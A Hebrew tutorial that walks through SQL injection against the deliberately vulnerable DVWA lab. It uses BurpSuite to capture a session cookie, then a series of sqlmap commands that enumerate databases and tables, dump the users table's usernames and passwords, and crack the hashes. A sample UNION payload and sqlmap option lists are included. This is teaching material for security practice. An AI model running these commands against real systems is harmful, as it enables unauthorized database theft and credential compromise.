כל הזכויות שמורות לטל בן שושן – Shushan.co.il
SQLi – SQL Injection על ידי BurpSuite ו SQLMap על DVWA
BurpSuite
על מנת לבצע מאמר זה, יש תחילה לקרוא את המאמרים הבאים:
הסבר והתקנת DVWA
הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit
BurpSuite הוא לביצוע בדיקות, בדיקות אבטחת מידע, הוצאת מידע וניטור לאתרי אינטרנט, על ידי שימוש ב BurpSuite נוכל לנטר את כל התעבורה התקבלת והנשלחת לשרת ה Web כך למעשה, נוכל לבדוק פרמטרים רבים ולבצע השוואות ובדיקות אבטחה.
במאמר זה נעבור על הפעולות הבסיסיות של BurpSuite ונשתמש בו על מנת לבצע SQLi שהוסבר במאמר קודם
SQLMap
הוא כלי המבצע SQLi באופן אוטומטי, SQLMap מבצע סריקה,Exploting ובדיקה למערכת הSQL אותה בודקים, חובה להזין למערכת נתונים בסיסיים, כתובת האתר, הטופס דרכו ניתן לבצע את ה SQLi ואת ה Arguments, זאת אומרת מה אתם מנסים להשיג? השגת נתונים ממסד הנתונים? הזרקת מידע לתוכו ? וכו'
- תמיכה מלאה בכמעט כל מערכות ה SQL – מ MySql, Oracle , PostgreSql, Microsoft , IBM DB2 ומסדי נתונים נוספים
- תומך בהוצאת טבלאות ומסדי נתונים שלמים
ב5 טכניקות משתמש SQLMap על מנת לבצע SQLi
- Boolean-based blind – למעשה Boolean הוא שיטת השאלות, כן ולא, בשיטה זו נשאל את המסד, דרך הטופס (עם החולשה) סדרת השאלות מבוצעת על ידי ה SQLMap ואם המסד עונה כן, אז SQLMap אומר לו תעשה X ואם לא ממשיך עד שהוא מצליח לבנות את הצורה בה עובד מסד הנתונים
- Time Based Blind – שינוי הזמן בין פקודה אחת לפקודה אחרת, אם מצליחים לשנות את הזמן, יהיה ניתן לנסות להזין פקודה זדונית בין לבין.
- Error Based – כאשר ננסה להזין ' או ננסה להזין מידע אל הטופס, מסד הנתונים יחזיר או שגיאה או נתון מסוים כך למעשה המסד נתונים מספר לנו דברים שלא בהכרח קשורים לטופס, וכך ניתן להזריק פקודה אל הטופס ולהוציא \ לתת פקודות למסד הנתונים
- Union – נאמר ויש טופס שניתן דרכו להריץ פקודה, נוכל להזין '1 על מנת לסגור את הפקודה ולאחריו להוסיךף Union ואז עוד פקודה, כך על ידי Union אנחנו מוסיפים עוד פקודה משלנו לפקודה שכבר קיימת בטופס
1' union select * from ….
להסביר מקיף על SQLi לחצו כאן
ביצוע ההתקפה בעזרת SQLMap
דרישות:
- Kali מותקן ומעודכן
- DVWA מותקן
- DVWA על מצב Low Security
תחילה נגדיר את Firefox
כעת נפתח את Firefox ונעבור לPreferences
כעת בלשונית Advanced ואז Network
בשורה Connection לחצו על הכפתור Settings
כעת שנו את ההגדרה ל Manual proxy והגדירו 127.0.0.1 בפורט 8080 כמו בתמונה
כעת נפתח את האפליקציות בקאלי ונגיע ל Web Application Analysis
נפתח את BurpSuite
נלחץ על Next
כעת עברו ללשונית Proxy ואז לחצו על Intercept is on (אנחנו רוצים כרגע לבטל את "היירוט" על מנת לגלוש לDVWA)
כעת סדרו את Firefox ופתחו שוב, הכנסו לאתר ה DVWA, הזינו את שם המשתמש והסיסמא שלכם
והכנסו ל SQL Injection (Blind) , רשמו 1 ואל תלחצו על כלום
חזרו ל BurpSuite ולחצו על הכפתור intercept is off ובדקו שהוא לחוץ והפך ל Intercept is on
חזרו לאתר DVWA ולחצו על Submit
כעת BurpSuite "יירט" את שליחת המידע וקבלת המידע מהאתר, תוכלו להבחין שהאתר גם לא מתקדם ו"תקוע" על טעינה
מצויין! כעת עברו ל BurpSuite ושם נוכל להבחין שהוא יירט את ה"עוגייה" של המשתמש
אם היינו מנסים מדפדפן אחר ובודקים למה שורת הכתובות תשתנה נגלה
http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
השורה
?id=1&Submit=Submit#
זו השורה שבעצם נוכל לנסות להשתמש בSQLi
כעת נשתמש ב SQLMap, נפתח את Applications ואז Web Application Analysis ושם את SQLMap
אחרי שפתחנו את SQLMap נצטרך להקיש את הפקודה על מנת ש SQLMap יבצע את הסריקה
אנחנו צריכים להשתמש במידע ש"יירטנו" ב BurpSuite
ניקח את 3 החלקים
- חלק ראשון – כתובת האתר – http://shushan.com/vulnerabilities/sqli_blind/
- חלק שני – הפקודה שנשלחה לאתר – ?id=1&Submit=Submit#
- חלק שלישי – העוגייה – PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low
ולכן הפקודה תראה כך:
sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" --dbs
–dbs מנסה לבצע Enumrate – מנסה להרחיב את הבקשה ולנסות להשיג יותר מידע ממסד הנתונים וזאת על ידי ה"עוגייה" שהוצאנו בשילוב ה"פריצה" שהיא הטופס באתר
נקיש Enter
כעת בסיום נקבל הודעה שה SQLi עבד, על ידי 4 נקודות הזרקה (כולם מוסברים במאמר על SQLI באתר)
- Boolean-based blind
- error-based
- AND/OR time based blind
- Union query
כעת אחרי ש4 הזרקות עובדות אנחנו מצליחים לקבל את רשימת הטבלאות במסד הנתונים
Information_schema zadmin_dvwa
למעשה Information_schema לרוב נמצא בכל מסדי הנתונים.
אבל zadmin_dvwa לא, והוא המסד הראשי, אותו אנחנו רוצים.
אחרי שהבנו שקוראים למסד zadmin_dvwa נשתמש בו בפקודה
sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" -D zadmin_dvwa --tables
-D – הגדרה שאומרת פקודת התחברות ישירה למסד הנתונים שהוא zadmin_dvwa
–tables – השג לי את הטבלאות מתוך מסד הנתונים zadmin_dvwa
- את הרשימה המלאה שאני כותב עכשיו ניתן להשיג באתר https://github.com/sqlmapproject/sqlmap/wiki/Usage
אנחנו השתמשנו ב — tables
-a, –all Retrieve everything
-b, –banner Retrieve DBMS banner
–current-user Retrieve DBMS current user
–current-db Retrieve DBMS current database
–hostname Retrieve DBMS server hostname
–is-dba Detect if the DBMS current user is DBA
–users Enumerate DBMS users
–passwords Enumerate DBMS users password hashes
–privileges Enumerate DBMS users privileges
–roles Enumerate DBMS users roles
–dbs Enumerate DBMS databases
–tables Enumerate DBMS database tables
–columns Enumerate DBMS database table columns
–schema Enumerate DBMS schema
–count Retrieve number of entries for table(s)
–dump Dump DBMS database table entries
–dump-all Dump all DBMS databases tables entries
–search Search column(s), table(s) and/or database name(s)
–comments Retrieve DBMS comments
כעת קיבלנו את רשימת הטבלאות –
guestbook users
אנחנו רוצים את users ולכן נקיש את הפקודה
sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" -D zadmin_dvwa -T users --columns
-T אומר לבחור את הטבלה שבתוך המסד נתונים ואותה להציג
–columns אומר להציג את העמודות מתוך הטבלה users
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDECOL DBMS database table column(s) to not enumerate
-U USER DBMS user to enumerate
–exclude-sysdbs Exclude DBMS system databases when enumerating tables
–pivot-column=P.. Pivot column name
–where=DUMPWHERE Use WHERE condition while table dumping
–start=LIMITSTART First dump table entry to retrieve
–stop=LIMITSTOP Last dump table entry to retrieve
–first=FIRSTCHAR First query output word character to retrieve
–last=LASTCHAR Last query output word character to retrieve
–sql-query=QUERY SQL statement to be executed
–sql-shell Prompt for an interactive SQL shell
–sql-file=SQLFILE Execute SQL statements from given file(s)
עכשיו אנחנו יודעים איזה טבלאות יש, אבל מה מהטבלאות אנחנו הכי רוצים?!
להציג את הטבלאות מתוך העמודות שנמצאות ב Users והם
user password
sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" -D zadmin_dvwa -T users -C user,password --dump
-T users – טבלה שלמה במסד הנתונים
-C user,password – עמודות בשם user ו password הנמצאים בתוך הטבלה users
–dump – להוציא את הנתונים ולשמור אותם
לחצו Enter (כאשר הוא שואל שאלה המתינו וקראו את המשך המדריך)
כעת נקבל את השמות משתמשים והסיסמאות ולייצא אותם לנתיב ב/tmp/ (רשום למטה בתמונה)
כעת הוא שואל האם לנסות "לפצח" את הסיסמאות האלו? נלחץ על Y
ונשתמש באפשרות הראשונה
גם כאן Y
בסיום, נקבל רשימה של כל השמות משתמשים והסיסמאות מפוענחות (כנראה מ MD5)
כל הכבוד!